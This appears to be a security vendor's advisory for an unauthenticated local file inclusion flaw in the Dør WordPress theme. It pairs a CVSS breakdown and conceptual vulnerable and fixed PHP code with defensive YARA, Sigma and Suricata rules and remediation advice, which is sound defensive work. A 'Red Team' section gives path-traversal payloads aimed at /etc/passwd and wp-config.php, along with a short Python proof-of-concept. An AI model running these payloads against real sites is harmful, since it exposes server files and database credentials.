CVE-2025-39466
Executive Summary
CVE-2025-39466 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Dør WordPress theme by Mikado-Themes (Qodeinteractive). The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading configuration files (e.g., wp-config.php), source code, or other system files. The CVSS score of 8.1 reflects the high impact on confidentiality with no required privileges or user interaction. As of this report, no official patch is available, and no public exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress theme, which is distributed via the WordPress theme repository and potentially through commercial channels. Users who have installed the Dør theme (version <= 2.4) are at risk. Since this is a WordPress ecosystem issue, the attack surface is broad, affecting any site using this theme. No package manager (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full file read access is possible.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The low attack complexity and network vector make this easily exploitable. The lack of a patch increases the risk significantly.
Deep Dive & Mechanics
The vulnerability is a PHP Local File Inclusion (LFI) in the Dør WordPress theme. The theme likely uses a dynamic include statement (e.g., include($_GET['file']);) without proper sanitization or validation. An attacker can manipulate a parameter (e.g., ?file=../../../../etc/passwd) to include arbitrary files from the server.
The root cause is the use of user-supplied input in a PHP include or require function without restricting the path to allowed directories. This allows path traversal attacks.
Attack Flow:
- Attacker identifies a vulnerable endpoint in the Dør theme (e.g., a template loader or shortcode handler).
- Attacker sends a crafted HTTP request with a path traversal payload in the file parameter.
- The server includes the specified file, outputting its contents in the HTTP response.
- Attacker reads sensitive files (e.g.,
wp-config.phpcontaining database credentials).
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern.
Vulnerable Code (Conceptual):
<?php
// In a theme file (e.g., template-loader.php)
$file = $_GET['file'];
include($file . '.php');
?>
Patched Code (Conceptual):
<?php
// Secure implementation
$allowed_files = array('home', 'about', 'contact');
$file = basename($_GET['file']);
if (in_array($file, $allowed_files)) {
include($file . '.php');
} else {
// Handle error
wp_die('Invalid file request.');
}
?>
The patched version uses a whitelist of allowed files and sanitizes the input with basename() to prevent path traversal.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site running Dør theme version <= 2.4.
- Knowledge of the vulnerable parameter (e.g.,
file,template,include).
Exploitation Steps:
- Identify the vulnerable endpoint. Common patterns:
?file=,?template=,?include=. - Test for LFI with a simple payload:
GET /?file=../../../../etc/passwd HTTP/1.1 Host: target.com - If successful, the
/etc/passwdfile content will be displayed. - Read sensitive WordPress files:
(Note: TheGET /?file=../../../../wp-config.php HTTP/1.1.phpextension may be appended automatically; adjust accordingly.)
Proof-of-Concept (PoC) Script (Python):
import requests
target = "http://target.com"
payload = "/?file=../../../../etc/passwd"
response = requests.get(target + payload)
if "root:" in response.text:
print("[+] LFI confirmed!")
print(response.text)
else:
print("[-] LFI not detected.")
Blue Team
Detection & Response:
- Monitor web server logs for path traversal patterns (e.g.,
../,%2e%2e%2f). - Look for requests to the Dør theme with unexpected file parameters.
- Use WAF rules to block
../sequences in query strings. - Implement file integrity monitoring for critical WordPress files.
Honeypot Setup:
- Deploy a decoy WordPress site with the vulnerable theme.
- Log all requests to the vulnerable parameter.
- Alert on any LFI-like payloads.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
../or%2e%2e%2fin query parameters. - Requests to
/wp-content/themes/dor/with suspicious file parameters. - Outbound connections from the web server to unknown IPs (if LFI leads to RCE via log poisoning).
- HTTP requests containing
File IOCs:
- Unexpected inclusion of system files (e.g.,
/etc/passwd,/etc/shadow). - Modified WordPress core files (e.g.,
wp-config.phpaccessed via LFI).
- Unexpected inclusion of system files (e.g.,
Log IOCs:
- Web server logs showing
GET /?file=../../../../etc/passwdentries. - PHP error logs with "include(): Failed opening" messages for system paths.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_39466_LFI_Detect {
meta:
description = "Detects LFI attempts targeting CVE-2025-39466 in Dør theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-39466"
strings:
$path_traversal = /(\.\.\/|\.\.\\){2,}/
$wp_config = /wp-config\.php/i
$etc_passwd = /etc\/passwd/i
condition:
any of ($path_traversal) and (any of ($wp_config, $etc_passwd))
}
Sigma Rule
title: CVE-2025-39466 LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in HTTP requests targeting Dør theme
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'file='
- 'template='
- 'include='
cs-uri-query|re: '(\.\.\/|%2e%2e%2f){2,}'
condition: selection
falsepositives:
- Legitimate use of relative paths in some plugins
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-39466 LFI Attempt - Dør Theme"; flow:to_server,established; content:"GET"; http_method; content:"file="; http_uri; pcre:"/(\.\.\/|%2e%2e%2f){2,}/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Dør theme if possible and switch to a secure alternative.
- Apply a virtual patch using a Web Application Firewall (WAF) to block path traversal patterns.
- Restrict file inclusion by modifying the theme code (if you have access) to use a whitelist approach.
Long-term Fix:
- The vendor (Qodeinteractive/Mikado-Themes) must release a patched version. Until then, consider removing the theme entirely.
- Implement server-side hardening:
- Disable
allow_url_includeinphp.ini. - Set
open_basedirto restrict PHP file access. - Use a security plugin (e.g., Wordfence) to monitor for LFI attempts.
- Disable
Workaround:
- If the theme is critical, manually edit the vulnerable file to sanitize input using
basename()and a whitelist.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.